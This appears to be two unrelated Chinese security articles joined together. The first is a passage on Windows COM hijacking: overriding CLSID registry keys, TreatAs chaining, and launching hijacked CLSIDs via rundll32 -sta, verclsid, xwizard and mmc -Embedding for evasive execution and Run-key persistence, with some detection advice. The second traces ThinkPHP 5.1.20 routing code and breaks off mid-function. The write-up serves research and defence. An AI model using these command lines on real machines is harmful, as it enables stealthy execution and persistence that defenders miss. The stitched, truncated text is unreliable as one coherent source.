覆盖COM对象可能是影响COM结构载荷的更为实用的方法。在`HKCU`注册表中添加正确的键值后，当引用目标COM对象时，`HKLM`中的键值就会被覆盖（并且“添加”到`HKCR`中）。在Casey
Smith（@subTee）给出的“SqibblyDoo”[样例](https://github.com/api0cradle/LOLBAS/blob/master/OSScripts/Payload/Slmgr_calc.sct)中，攻击者可以导入如下[注册表文件](https://github.com/api0cradle/LOLBAS/blob/master/OSScripts/Payload/Slmgr.reg)，使用另一个类标识（CLSID）成功劫持`scripting.dictionary`
COM程序标识（ProgID）：
图4. 包含`Scripting.Dictionary` COM覆盖键值的注册表文件
实际上，任何程序或者脚本只要尝试实例化`scripting.dictionary` COM程序或尝试加载被劫持的类标识时，都会调用攻击者布置的载荷。
### 链接COM键（使用`TreatAs`键）
影响COM载荷加载的另一种方法就是使用`TreatAs`键，该键实际上充当的是另一个（未注册的）CLSID键的快捷方式（或链接）。许多（原生的）Windows程序会引用不存在的CLSID注册表节点（注意：我们可以使用[SysInternals](https://docs.microsoft.com/en-us/sysinternals/)的ProcMon工具来识别这些悬空式引用)。根据具体的加载程序以及CLSID键，攻击者可以使用带有`TreatAs`引用的被劫持的CLSID节点结构，在CLSID键被引用时（如程序或者脚本启动时）达到加载目的。实际上攻击者可以通过以下两步完成这个任务：
1、劫持程序的未引用的COM CLSID路径或者带有`TreatAs`键的合法路径；
2、然后将带有`TreatAs`键的CLSID结构链接到另一个（被劫持的）COM CLSID键，后者包含恶意的加载器。
我们来看看Matt Nelson（@enigma0x3）和Casey
Smith（@subTee）给的一个例子。Matt和Casey曾做过名为[Windows Operating System
Archaeology](https://github.com/enigma0x3/windows-operating-system-archaeology)的专题演讲，其中提到了如下所示的注册表导入文件：
图5. `TreatAs`注册表文件
在图5中，攻击者创建了2个主要的CLSID节点（如果`HKLM`中存在这些CLSID值则会被覆盖掉）。一旦`{3734FF83-6764-44B7-A1B9-55F56183CDB0}`这个CLSID键（橙色高亮部分）被引用（比如程序加载或者其他调用/加载方法），`TreatAs`键就会充当一个超链接快捷键角色，“重定向”到`{00000001-0000-0000-0000-0000FEEDACDC}`这个CLSID键（绿色高亮部分），调用相应的载荷。当调用者/加载者调用时，大致的抽象逻辑可以分为以下几个步骤：
1、直接引用CLSID节点
[调用方] -> [CLSID入口点] -> [COM服务器] -> [载荷（比如`Scrobj.dll Scriptlet`）]
2、使用`TreatAs`链接引用CLSID节点
[调用方] -> [第一个CLSID入口点] -> [`TreatAs`键应用] -> [第二个CLSID入口点] -> [COM服务器] ->
[载荷（比如`Scrobj.dll Scriptlet`）]
注意：这里应该着重表扬下TrustedSec的Jason
Lang（@curi0usJack），他在识别和利用这些未引用的COM路径方面做了许多杰出的工作。Jason在BlackHat
2018的TrustedSec Purple
Team培训课程中详细介绍了这方面内容。此外，大家也可以参考Adam（@Hexacorn）的一篇[文章](http://www.hexacorn.com/blog/2018/08/17/beyond-good-ol-run-key-part-84/)，里面介绍了关于劫持TreatAs实例化过程的一些基本知识。
## 四、用于规避及持久化的CLSID加载技术
现在我们讨论下用于规避的COM加载技术。
### 引用加载器
如前文所述，如果脚本以及程序尝试实例化或者调用已被劫持COM节点的类以及/或者程序标识符时，就（很可能）会在执行的某个时刻加载其他载荷。覆盖或者链接恶意COM节点的操作通常需要考虑如下几个因素：
1、成功识别并劫持（缺失的）引用，并且不会对程序正常行为造成负面影响（比如造成程序崩溃）；
2、可以承担未知后果的影响，选择可能不会（或者不大会）影响系统或者用户体验的COM节点（比如，没有任何明显的线索表明程序或者主机的行为存在异常）；
3、此外，也可以尝试“修补”已劫持的路径，解决“程序执行流”（注意：这个概念很有意思，超出了本文的讨论范围）。
比如，当我们用Casey Smith的“SquibblyDoo”载荷劫持`scripting.dictionary`
COM节点然后运行`WinRm`时，我们可以看到当`scripting.dictionary`被实例化时会出现一些非预期的结果：
图6. 使用`WinRM`加载被劫持的COM节点
**注意：**
并不是所有被劫持的路径都会导致（可见的）程序性故障。有许多无缝的、可被劫持的路径不会对程序执行流造成负面影响，其中某些路径还可以作为隐蔽的持久化技术来使用。
### Rundll32
如前一篇[文章](https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/)所述，通过CLSID键（或者PROGID）调用载荷的一种方法就是在`rundll32`中使用`-sta`（single
threaded apartment）参数，这种方法并没有那么广为人知，具体命令为：
rundll32.exe -sta {CLSID}
或者
rundll32.exe -sta ProgID
`-sta`参数并没有详细的说明文档，但该参数的确可用，并且有被滥用的潜在风险。如下图所示，我们使用这种方法来实现了前文描述的COM节点直接加载以及通过链接方式（`TreatAs`）加载：
图7. COM节点的直接加载及链接（`TreatAs`）加载
我们也可以使用`rundll32`配合ProgID（Program Identifier，程序标识符）来调用我们劫持的COM节点：
图8. Rundll.exe：`-sta`与ProgID配合执行
在使用`AutoRuns`实现本地持久化方面，`rundll32`命令无法规避过滤器的筛查，但可以使用隐藏的注册表载荷来迷惑人们的双眼：
图9. Rundll32 -sta登录启动项
### 利用计划任务实现持久化
几年以前，Matt
Nelson（@enigma0x3）写了一篇[文章](https://enigma0x3.net/2016/05/25/userland-persistence-with-scheduled-tasks-and-com-handler-hijacking/)，介绍了利用计划任务和COM处理程序劫持实现用户模式下的本地持久化技术。Matt在文章中介绍了如何寻找计划任务中`Action`设置为`Custom
Handler`的可疑项。查看计划任务对应的XML文件后，我们可以看到这个`Action`实际上是与“COM处理程序”对应的一个CLSID值。劫持这个CLSID结构后，载荷的利用就非常简单。当计划任务运行时（比如系统登录时），恶意载荷就会被运行。
图10. 计划任务配置文件（来源：Matt Nelson的[文章](https://enigma0x3.net/2016/05/25/userland-persistence-with-scheduled-tasks-and-com-handler-hijacking/)）
### 利用Verclsid调用载荷
根据微软的[说明文档](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2006/ms06-015)，`verclsid.exe`可以“在Windows资源管理器实例化一个COM对象前验证该对象”，这一点非常有趣。Nick
Tyrer（@NickTyrer）在Github上演示了`Verclsid`的一种用法，如下所示：
verclsid.exe /S /C {CLSID}
使用合适的CLSID运行上述命令后，就可以调用攻击者设定的载荷，如下所示：
图11. 利用CLSID执行Verclsid
### 利用Xwizard调用载荷
根据Nick
Tyrer的描述，`Xwizard`是加载CLSID节点的另一种方式。@harr0ey提供了一种[运行方式](https://twitter.com/harr0ey/status/980786352374665216)，不会弹出错误信息：
xwizard.exe RunWizard /taero /u {CLSID}
**注意：**
已经有钓鱼恶意软件攻击活动中使用了`Verclsid.exe`这个工具，大家可参考这篇[文章](https://www.redcanary.com/blog/verclsid-exe-threat-detection/)（来自Red Canary）了解详细信息。
## 五、滥用COM服务器
Windows系统中有一些内置程序能够在特定服务（如远程主机管理）的上下文环境中充当COM/DCOM服务器。经过正确的调用和实例化后，当使用`-Embedding`参数调用DCOM/COM应用时，就可以利用这些应用的公开属性及方法（这一点需要进一步验证）。然而这里存在一个“有趣的”副作用，那就是（许多）具有GUI/可见窗口组件的启用COM的应用（如`mmc.exe`、`mspaint.exe`、`winword.exe`、`iexplore.exe`等）会以服务器模式来运行，但却不呈现GUI组件。我们来看些具体例子：
MMC（Microsoft Management
Console）工具的功能和可扩展性非常强大，因此可能是Windows系统管理员最喜欢的得力助手。MMC允许（高权限）用户添加多个“snap-ins”（管理单元），在本地或者远程管理Windows系统，然而这个应用也会暴露一些攻击面，可能被攻击者滥用。去年年初时候，Matt
Nelson（@enigma0x3）发现MMC对外公开了一种方法，通过该方法攻击者可以借助DCOM协议辅助执行远程命令。Matt在一篇[文章](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)中详细介绍了这种技术。
虽然这种方法不像常见的远程命令执行/横向渗透技术那样令人兴奋，但MMC可以用来调用CLSID载荷，实现规避加载以及通过`Run`注册表键值实现本地驻留。下面我们可以开始配置MMC控制台文件，了解具体利用方法。
### MMC：CLSID Web地址链接
首先，我们需要创建一个CLSID链接，将我们的配置信息保存成控制台文件（`.msc`文件）。我们可以打开MMC，通过“Add/Remove Snap-In”窗口来设置载荷。为了简单起见，我们选择“the Link to Web Address”（指向Web地址的链接）这个snap-in来打开向导，在“Path or URL”文本框中输入被劫持的/引用的CLSID键，如下图所示：
图12. 添加MMC Snap-In：Web地址链接
接下来，为这个Snap-In设置一个名称，然后选择“Finish”，如下图所示：
图13. 添加MMC Snap-In：设置名称
经过这些操作后，“Console Root”节点下就会创建我们设置的“test”项。只要选择“test”菜单项，就会调用相应的CLSID链接。
图14. MMC Snap-In：在选中时启动CLSID载荷
### MMC：MSC文件加载
创建并启用我们的载荷配置后，我们可以将控制台保存为`test.msc`。确保相应的Snap-In标签（如`test`）处于选中状态以保持当前控制台状态。如果没有选中，我们的载荷就无法在控制台文件打开时被调用。
为了进一步确认这个条件，我们可以使用文本编辑器打开这个控制台文件，验证配置信息以及CLSID指针的值是否正确：
图15. MMC XML配置文件
保存好控制台文件后，我们可以通过命令行启动msc文件，通过`-Embedding`标志（注意：大小写敏感）以隐蔽的方式调用CLSID载荷：
mmc.exe -Embedding c:pathtotest.msc
图16. 利用`-Embedding`参数实现MMC隐蔽启动
### 利用MMC实现本地持久化
在利用`AutoRuns`实现本地持久化方面，由于`mmc.exe`是经过微软签名的二进制程序，因此可以规避默认的过滤器，如下图所示：
图17. MMC AutoRuns Run注册表键值：过滤器处理结果
移除过滤器后，我们可以看到对应的启动项：
图18. MMC AutoRuns Run注册表键值：不使用过滤器的处理结果
在登录时，由于我们劫持了注册表键以及引用，所以系统会执行我们的载荷：
图19. MMC Run注册表键值：登录时执行
综合考虑后，`mmc.exe`可能不是最实用的利用对象，然而如果其他COM程序以类似方式来调用，可能会具备更高的实用性。
## 六、防御策略
1、在完美的场景中，经过正确配置的应用程序白名单（AWL）解决方案与代码完整性保护机制结合起来后可能会阻止（许多）这类载荷的执行；
2、可以监控某些有趣的COM应用的使用情况以及`Run`注册表键值。`Embedding`参数可能是比较有趣的一个特征，但正常的DCOM远程管理和本地实例化过程中可能也会使用该参数。对COM应用的正常调用/实例化行为应该源自于Service
Host（`svchost.exe`）进程，来自其他父进程的调用可能都值得怀疑；
3、可以监控进程创建事件，比如感兴趣命令行操作以及CLSID调用程序的使用；
4、评估新创建的注册表键值，特别要注意包含`TreatAs`以及/或者`ScriptletURL`键值的新增内容。
## 七、他人研究成果
1、James Forshaw（@tiraniddo）在“[COM In 60
Seconds](https://www.youtube.com/watch?v=dfMuzAZRGm4)”中详细介绍了COM的每一步工作流程（现在我仍在重复观看这个视频）。如果您不熟悉James的研究成果，我强烈推荐大家尽快去学习一下；
2、PhilipTsukerman（@PhilipTsukerman）在“[New lateral movement techniques abuse
DCOM technology](https://www.cybereason.com/blog/dcom-lateral-movement-techniques)”这篇文章中为我们介绍了COM技术的入门知识，也很好概述了DCOM横向渗透技术；
3、Rob Maslen（@rbmaslen）在“[COM and the
PowerThief](https://www.youtube.com/watch?v=xmbjRP5W-yk&feature=youtu.be)”视频中介绍了COM与Internet
Explorer交互的背景知识，此外我们还可以参考Rob开发的[PowerThIEf](https://github.com/nettitude/Invoke-PowerThIEf)工具来滥用正在运行的IE实例。 | 社区文章 |
## 环境
phpstudy+thinkphp5.1.20
由于thinkphp5.1以上的版本不再支持官网下载源码，需要使用composer下载，比如说下载5.1.20版本
`composer create-project --prefer-dist topthink/think tp5120`
`cd tp5120`
`vim composer.json`
把 **composer.json** 文件中 **"topthink/framework": "5.1.*"** 改为
**"topthink/framework": "5.1.20"**
执行`composer update` 即可
## 框架流程
首先，看入口文件 `/public/index.php` ，只有三行代码
namespace think;
// 加载基础文件
require __DIR__ . '/../thinkphp/base.php';
// 支持事先使用静态方法设置Request对象和Config对象
// 执行应用并响应
Container::get('app')->run()->send();
定义命名空间，加载基础文件，然后执行应用并响应
首先来看基础文件： `'/thinkphp/base.php'`
其作用在于注册自动加载、注册错误处理、加载默认配置
这其中比较重要的就是自动加载功能，系统调用 `Loader::register();` 方法注册自动加载，跟进该方法
public static function register($autoload = '')
{
// 注册系统自动加载
spl_autoload_register($autoload ?: 'think\\Loader::autoload', true, true);
$rootPath = self::getRootPath();
self::$composerPath = $rootPath . 'vendor' . DIRECTORY_SEPARATOR . 'composer' . DIRECTORY_SEPARATOR;
// Composer自动加载支持
......
// 注册命名空间定义
......
// 加载类库映射文件
......
// 自动加载extend目录
......
}
可以看到该文件有几个部分组成
* 注册系统自动加载
* Composer自动加载支持
* 注册命名空间定义
* 加载类库映射文件
* 自动加载extend目录
除了第一步之外，都是为自动加载时查找文件路径做准备，重点说下第一步
第一步使用了 `spl_autoload_register`
函数，这是一个自动加载函数，若是实例化一个未定义的类时就会触发该函数，然后会触发第一个参数作为指定的方法，可以看到此函数指定了
`think\Loader::autoload` 作为触发方法，继续跟进
public static function autoload($class)
{
if (isset(self::$classAlias[$class])) {
return class_alias(self::$classAlias[$class], $class);
}
if ($file = self::findFile($class)) {
// Win环境严格区分大小写
if (strpos(PHP_OS, 'WIN') !== false && pathinfo($file, PATHINFO_FILENAME) != pathinfo(realpath($file), PATHINFO_FILENAME)) {
return false;
}
__include_file($file);
return true;
}
}
该函数首先判断`$class`是否在类库别名`$classAlias`中，在的话直接返回，不在的话向下执行`findFile()`，`findFile()`就是一个利用多种方式查找文件的函数，最后会返回文件的路径，未找到会返回false，之后就利用`__include_file`对文件做include包含，这就是自动包含
返回到`index.php`中，接下来就会调用`Container`的`get`方法实例化`app`类，接着调用`app`类中的`run`方法执行应用程序，存在这几个过程
### 初始化应用
设定运行信息，读取初始化配置等
$this->initialize();
### 模块、控制器或入口绑定
默认情况下，这段函数是不执行的
if ($this->bindModule) {
// 模块/控制器绑定
$this->route->bind($this->bindModule);
} elseif ($this->config('app.auto_bind_module')) {
// 入口自动绑定
$name = pathinfo($this->request->baseFile(), PATHINFO_FILENAME);
if ($name && 'index' != $name && is_dir($this->appPath . $name)) {
$this->route->bind($name);
}
}
### 路由检测
调用到了`checkRoute()`和`init()`进行路由检测，这里的`routeCheck()`就是路由解析的入口，并且把解析的调度信息保存到全局Request对象中
$dispatch = $this->dispatch;
if (empty($dispatch)) {
// 路由检测
$dispatch = $this->routeCheck()->init();
}
// 记录当前调度信息
$this->request->dispatch($dispatch);
### 记录路由和请求信息
调试模式下，保存路由的请求信息到日志文件中
if ($this->appDebug) {
$this->log('[ ROUTE ] ' . var_export($this->request->routeInfo(), true));
$this->log('[ HEADER ] ' . var_export($this->request->header(), true));
$this->log('[ PARAM ] ' . var_export($this->request->param(), true));
}
### 执行路由调度 :
执行请求分派到的业务逻辑
$this->middleware->add(function (Request $request, $next) use ($dispatch, $data) {
return is_null($data) ? $dispatch->run() : $data;
});
$response = $this->middleware->dispatch($this->request);
接下来就将得到的`$response`返回
回到index.php，会在index.php中调用`Response`类的`send()`方法，将结果输出到客户端
## thinkphp传参方式
在具体分析流程前传参方式，首先介绍一下模块等参数
* 模块 : `application\index`，这个`index`就是一个模块，负责前台相关
* 控制器 : 在模块中的文件夹`controller`，即为控制器，负责业务逻辑
* 操作 : 在控制器中定义的方法，比如在默认文件夹中`application\index\controller\Index.php`中就有两个方法，`index`和`hello`
* 参数 : 就是定义的操作需要传的参数
在本文中会用到两种传参方式，其他的方式可以自行了解
1. PATH_INFO模式 : `http://127.0.0.1/public/index.php/模块/控制器/操作/(参数名)/(参数值)...`
2. 兼容模式 : `http://127.0.0.1/public/index.php?s=/模块/控制器/操作&(参数名)=(参数值)...`
## 路由解析过程
### 路由检测
首先在run函数的路由检测处下断点，在 `application\index\controller` 目录下新建一个test.php
接下来，我们访问 `http://127.0.0.1/public/index.php/index/Test/hello/name/world`
，返回phpstorm可以发现已经捕获到了
首先，路由检测调用到了 `routeCheck()` 方法，F7跟进看一下
public function routeCheck()
{
// 检测路由缓存
if (!$this->appDebug && $this->config->get('route_check_cache')) {
...
}
// 获取应用调度信息
$path = $this->request->path();
// 是否强制路由模式
...
// 路由检测 返回一个Dispatch对象
$dispatch = $this->route->check($path, $must);
...
return $dispatch;
}
该函数首先根据 `route_check_cache` 检测是否开启了路由缓存，默认情况下该配置为false， `'route_check_cache'
=> false` ，接下来到589行获取应用调度信息，利用了`Request`的`path`方法，继续跟进
public function path()
{
if (is_null($this->path)) {
$suffix = $this->config['url_html_suffix'];
$pathinfo = $this->pathinfo();
if (false === $suffix) {
// 禁止伪静态访问
$this->path = $pathinfo;
} elseif ($suffix) {
// 去除正常的URL后缀
$this->path = preg_replace('/\.(' . ltrim($suffix, '.') . ')$/i', '', $pathinfo);
} else {
// 允许任何后缀访问
$this->path = preg_replace('/\.' . $this->ext() . '$/i', '', $pathinfo);
}
}
return $this->path;
}
继续跳转到 `pathinfo()` 方法
public function pathinfo()
{
if (is_null($this->pathinfo)) {
if (isset($_GET[$this->config['var_pathinfo']])) {
// 判断URL里面是否有兼容模式参数
$pathinfo = $_GET[$this->config['var_pathinfo']];
unset($_GET[$this->config['var_pathinfo']]);
} elseif ($this->isCli()) {
// CLI模式下 index.php module/controller/action/params/...
$pathinfo = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : '';
} elseif ('cli-server' == PHP_SAPI) {
$pathinfo = strpos($this->server('REQUEST_URI'), '?') ? strstr($this->server('REQUEST_URI'), '?', true) : $this->server('REQUEST_URI');
} elseif ($this->server('PATH_INFO')) {
$pathinfo = $this->server('PATH_INFO');
}
// 分析PATHINFO信息
if (!isset($pathinfo)) {
foreach ($this->config['pathinfo_fetch'] as $type) {
if ($this->server($type)) {
$pathinfo = (0 === strpos($this->server($type), $this->server('SCRIPT_NAME'))) ?
substr($this->server($type), strlen($this->server('SCRIPT_NAME'))) : $this->server($type);
break;
}
}
}
$this->pathinfo = empty($pathinfo) || '/' == $pathinfo ? '' : ltrim($pathinfo, '/');
}
return $this->pathinfo;
}
该方法依据请求方式跳转到不同的if判断中，由于我们利用的时pathinfo模式，所以跳转到最后一个elseif中来判断，由 `$this->server`
获取参数，接下来对$pathinfo进行分析，之后会去掉$pathinfo中最左侧的 `/` 返回，此时
`$pathinfo=index/Test/hello/name/world`
下面返回到path方法，将其去除正常url后缀后赋值给返回值$path
跳转回`routeCheck()`方法，接下来程序会执行到路由检测部分，调用route的`check()`方法，把$path作为$url参数传入，继续跟进
public function check($url, $must = false)
{
// 自动检测域名路由
$domain = $this->checkDomain();
$url = str_replace($this->config['pathinfo_depr'], '|', $url);
$completeMatch = $this->config['route_complete_match'];
$result = $domain->check($this->request, $url, $completeMatch);
if (false === $result && !empty($this->cross)) {
// 检测跨域路由
$result = $this->cross->check($this->request, $url, $completeMatch);
}
if (false !== $result) {
// 路由匹配
return $result;
} elseif ($must) {
// 强制路由不匹配则抛出异常
throw new RouteNotFoundException();
}
// 默认路由解析
return new UrlDispatch($this->request, $this->group, $url, [
'auto_search' => $this->autoSearchController,
]);
}
首先把$url中的 `/` 替换为 `|`
，由于这里用的是默认配置，所以会直接跳转到return行，这里的返回值实例化了一个UrlDispatch类，并传入了几个参数，这里定位到UrlDispatch定义处，可以发现这是一个路由别名，
`use think\route\dispatch\Url as UrlDispatch;`
### 路由解析
接下来就是路由解析的过程
调用到`autoload`函数来自动加载该类，并且调用到了其父类 `Dispatch`
的构造方法(`__construct`)，将参数值赋值给`$this`中，接下来就会跳转回`routeCheck()`方法，返回$dispatch，由于Url类中对父类的`init()`方法做了重写接下来会调用Url类中的`init()`方法，跟进看一下
public function init()
{
// 解析默认的URL规则
$result = $this->parseUrl($this->dispatch);
return (new Module($this->request, $this->rule, $result))->init();
}
函数调用了`parseUrl()`对URL进行解析，继续跟进
protected function parseUrl($url)
{
$depr = $this->rule->getConfig('pathinfo_depr');
$bind = $this->rule->getRouter()->getBind();
if (!empty($bind) && preg_match('/^[a-z]/is', $bind)) {
$bind = str_replace('/', $depr, $bind);
// 如果有模块/控制器绑定
$url = $bind . ('.' != substr($bind, -1) ? $depr : '') . ltrim($url, $depr);
}
list($path, $var) = $this->rule->parseUrlPath($url);
if (empty($path)) {
return [null, null, null];
}
// 解析模块
$module = $this->rule->getConfig('app_multi_module') ? array_shift($path) : null;
if ($this->param['auto_search']) {
$controller = $this->autoFindController($module, $path);
} else {
// 解析控制器
$controller = !empty($path) ? array_shift($path) : null;
}
// 解析操作
$action = !empty($path) ? array_shift($path) : null;
// 解析额外参数
if ($path) {
if ($this->rule->getConfig('url_param_type')) {
$var += $path;
} else {
preg_replace_callback('/(\w+)\|([^\|]+)/', function ($match) use (&$var) {
$var[$match[1]] = strip_tags($match[2]);
}, implode('|', $path));
}
}
$panDomain = $this->request->panDomain();
if ($panDomain && $key = array_search('*', $var)) {
// 泛域名赋值
$var[$key] = $panDomain;
}
// 设置当前请求的参数
$this->request->setRouteVars($var);
// 封装路由
$route = [$module, $controller, $action];
if ($this->hasDefinedRoute($route, $bind)) {
throw new HttpException(404, 'invalid request:' . str_replace('|', $depr, $url));
}
return $route;
}
直接跳转到48行，可以看到框架调用到了rule的parseUrlPath方法对$url进行分割操作，将参数整理为一个数组
并将返回的$path和$var赋值给parseUrl中的$path和$var
下面利用`array_shift`对`$path`进行解析即依次移出数组中的第一个元素并赋值给模块、控制器、操作和额外参数，并在封装路由处将`$module`、`$controller`、`$action`封装进`$route`中，返回
回到Url的`init()`函数中，此时流程到了return处，这里实例化了一个Dispatch的子类Module类，并调用了其init方法，F7跟进可以看到调用到了autoload函数和Request的构造方法，同样是赋值操作
跟进到init方法
public function init()
{
parent::init();
$result = $this->dispatch;
if (is_string($result)) {
$result = explode('/', $result);
}
if ($this->rule->getConfig('app_multi_module')) {
// 多模块部署
$module = strip_tags(strtolower($result[0] ?: $this->rule->getConfig('default_module')));
$bind = $this->rule->getRouter()->getBind();
$available = false;
if ($bind && preg_match('/^[a-z]/is', $bind)) {
// 绑定模块
list($bindModule) = explode('/', $bind);
if (empty($result[0])) {
$module = $bindModule;
}
$available = true;
} elseif (!in_array($module, $this->rule->getConfig('deny_module_list')) && is_dir($this->app->getAppPath() . $module)) {
$available = true;
} elseif ($this->rule->getConfig('empty_module')) {
$module = $this->rule->getConfig('empty_module');
$available = true;
}
// 模块初始化
if ($module && $available) {
// 初始化模块
$this->request->setModule($module);
$this->app->init($module);
} else {
throw new HttpException(404, 'module not exists:' . $module);
}
}
// 是否自动转换控制器和操作名
$convert = is_bool($this->convert) ? $this->convert : $this->rule->getConfig('url_convert');
// 获取控制器名
$controller = strip_tags($result[1] ?: $this->rule->getConfig('default_controller'));
$this->controller = $convert ? strtolower($controller) : $controller;
// 获取操作名
$this->actionName = strip_tags($result[2] ?: $this->rule->getConfig('default_action'));
// 设置当前请求的控制器、操作
$this->request
->setController(Loader::parseName($this->controller, 1))
->setAction($this->actionName);
return $this;
}
这里调用到了父类Dispatch的init方法，接下来在38行处对`$result[0]`也就是访问的模块做`strip_tags`处理，然后跳到了49行做了两个判断：第一个是判断`$module`是否在`deny_module_list(禁止访问模块)`中，第二个是判断这个模块是否存在，若是都满足则会令`$available=true`，这样在57行开始的判断中才会做初始化模块的操作而不是throw一个404错误出来
接下来就是对控制器和操作strip_tags的操作并且赋值给$this，设置当前请求的控制器、操作，将这些信息保存到当前的$this中
### 路由调度
跳转回run函数中来，记录信息这些操作略过，直接来到431行，这里调用了add函数，并将一个匿名函数作为参数传入
跟进后发现，函数中将`$middleware`也就是匿名函数赋值给了 `$queue[route][]`
接下来返回run方法，按流程走会调用到middleware类的dispatch方法，继续跟进
public function dispatch(Request $request, $type = 'route')
{
return call_user_func($this->resolve($type), $request);
}
这里利用了`call_user_func`这个函数，把$request作为参数传入回调的solve方法，跟进看一下
protected function resolve($type = 'route')
{
return function (Request $request) use ($type) {
$middleware = array_shift($this->queue[$type]);
if (null === $middleware) {
throw new InvalidArgumentException('The queue was exhausted, with no response returned');
}
list($call, $param) = $middleware;
try {
$response = call_user_func_array($call, [$request, $this->resolve($type), $param]);
} catch (HttpResponseException $exception) {
$response = $exception->getResponse();
}
if (!$response instanceof Response) {
throw new LogicException('The middleware must return Response instance');
}
return $response;
};
}
该函数直接把一个匿名函数作为返回值，通过use语句让该闭包函数继承$type变量，通过`array_shift()`函数把App类中的之前那个匿名函数赋值给`$middleware`，再继续将`$middleware`的值通过list赋给$call
接着运行到下一步时，继续通过`call_user-func_array()`再把App类中的匿名函数回调过来
此时匿名函数中的判断`(is_null($data))`成立，执行dispatch类的run函数，继续跟进
public function run()
{
$option = $this->rule->getOption();
// 检测路由after行为
if (!empty($option['after'])) {
$dispatch = $this->checkAfter($option['after']);
if ($dispatch instanceof Response) {
return $dispatch;
}
}
// 数据自动验证
if (isset($option['validate'])) {
$this->autoValidate($option['validate']);
}
$data = $this->exec();
return $this->autoResponse($data);
}
该函数是执行路由调度函数，直接跳到执行exec函数的位置，跟进观察
public function exec()
{
// 监听module_init
$this->app['hook']->listen('module_init');
try {
// 实例化控制器
$instance = $this->app->controller($this->controller,
$this->rule->getConfig('url_controller_layer'),
$this->rule->getConfig('controller_suffix'),
$this->rule->getConfig('empty_controller'));
} catch (ClassNotFoundException $e) {
throw new HttpException(404, 'controller not exists:' . $e->getClass());
}
$this->app['middleware']->controller(function (Request $request, $next) use ($instance) {
// 获取当前操作名
$action = $this->actionName . $this->rule->getConfig('action_suffix');
if (is_callable([$instance, $action])) {
// 执行操作方法
$call = [$instance, $action];
// 严格获取当前操作方法名
$reflect = new ReflectionMethod($instance, $action);
$methodName = $reflect->getName();
$suffix = $this->rule->getConfig('action_suffix');
$actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
$this->request->setAction($actionName);
// 自动获取请求变量
$vars = $this->rule->getConfig('url_param_type')
? $this->request->route()
: $this->request->param();
} elseif (is_callable([$instance, '_empty'])) {
// 空操作
$call = [$instance, '_empty'];
$vars = [$this->actionName];
$reflect = new ReflectionMethod($instance, '_empty');
} else {
// 操作不存在
throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
}
$this->app['hook']->listen('action_begin', $call);
$data = $this->app->invokeReflectMethod($instance, $reflect, $vars);
return $this->autoResponse($data);
});
return $this->app['middleware']->dispatch($this->request, 'controller');
}
函数在try部分调用了app类的controller函数来实例化控制器，继续跟进
public function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '')
{
list($module, $class) = $this->parseModuleAndClass($name, $layer, $appendSuffix);
if (class_exists($class)) {
return $this->__get($class);
} elseif ($empty && class_exists($emptyClass = $this->parseClass($module, $layer, $empty, $appendSuffix))) {
return $this->__get($emptyClass);
}
throw new ClassNotFoundException('class not exists:' . $class, $class);
}
调试时获取了几个配置作为函数参数后进入controller函数，首先利用`parseModuleAndClass`来解析模块和类名
protected function parseModuleAndClass($name, $layer, $appendSuffix)
{
if (false !== strpos($name, '\\')) {
$class = $name;
$module = $this->request->module();
} else {
if (strpos($name, '/')) {
list($module, $name) = explode('/', $name, 2);
} else {
$module = $this->request->module();
}
$class = $this->parseClass($module, $layer, $name, $appendSuffix);
}
return [$module, $class];
}
不难发现，如果在$name也就是控制器中查找到了 `\` ，那么，控制器的值赋给$class，模块名赋值给$module，然后直接return
根据现在访问的url，会跳转到else的else语句中进行赋值，接下来会调用到`parseClass()`函数，经过了一堆处理之后返回了
`$this->namespace.'\\'.($module ? $module.'\\' :
'').$layer.'\\'.$path.$class;`
实际上就是命名空间的路径即$class，根据命名空间的特性，知道了类命名空间之后就可以对类进行实例化，接下来继续跟进代码，回到`parseModuleAndClass`方法，返回了$moduel和$class
回到controller中，判断$class存在的话就会调用到`__get()`方法，并将$class(命名空间)传入，跟进发现 `__get()`
调用到了make()方法，继续跟进
public function make($abstract, $vars = [], $newInstance = false)
{
if (true === $vars) {
// 总是创建新的实例化对象
$newInstance = true;
$vars = [];
}
$abstract = isset($this->name[$abstract]) ? $this->name[$abstract] : $abstract;
if (isset($this->instances[$abstract]) && !$newInstance) {
return $this->instances[$abstract];
}
if (isset($this->bind[$abstract])) {
$concrete = $this->bind[$abstract];
if ($concrete instanceof Closure) {
$object = $this->invokeFunction($concrete, $vars);
} else {
$this->name[$abstract] = $concrete;
return $this->make($concrete, $vars, $newInstance);
}
} else {
$object = $this->invokeClass($abstract, $vars);
}
if (!$newInstance) {
$this->instances[$abstract] = $object;
}
return $object;
}
在这个函数中直接看调用到的`invokeClass()`函数，可以发现命名空间被传入作为参数，继续
public function invokeClass($class, $vars = [])
{
try {
$reflect = new ReflectionClass($class);
if ($reflect->hasMethod('__make')) {
$method = new ReflectionMethod($class, '__make');
if ($method->isPublic() && $method->isStatic()) {
$args = $this->bindParams($method, $vars);
return $method->invokeArgs(null, $args);
}
}
$constructor = $reflect->getConstructor();
$args = $constructor ? $this->bindParams($constructor, $vars) : [];
return $reflect->newInstanceArgs($args);
} catch (ReflectionException $e) {
throw new ClassNotFoundException('class not exists: ' . $class, $class);
}
}
可以看到这里首先利用到了`ReflectionClass`类反射了$class，接着，在下面，调用到了`ReflectionClass`的`newInstanceArgs`，该方法将指定的参数创建一个新的类实例，在代码中将这个实例化后的对象直接返回，返回到make函数中，将实例化后的对象赋值给$object，最后将其return
跳转回到exec函数中，将`invokeClass`函数的返回值$object赋值给$instance，接下来又重新调用了controller函数，并将一个全新的闭包函数作为其参数传入，这里具体看一下这个闭包函数的流程
function (Request $request, $next) use ($instance) {
// 获取当前操作名
$action = $this->actionName . $this->rule->getConfig('action_suffix');
if (is_callable([$instance, $action])) {
// 执行操作方法
$call = [$instance, $action];
// 严格获取当前操作方法名
$reflect = new ReflectionMethod($instance, $action);
$methodName = $reflect->getName();
$suffix = $this->rule->getConfig('action_suffix');
$actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
$this->request->setAction($actionName);
// 自动获取请求变量
$vars = $this->rule->getConfig('url_param_type')
? $this->request->route()
: $this->request->param();
} elseif (is_callable([$instance, '_empty'])) {
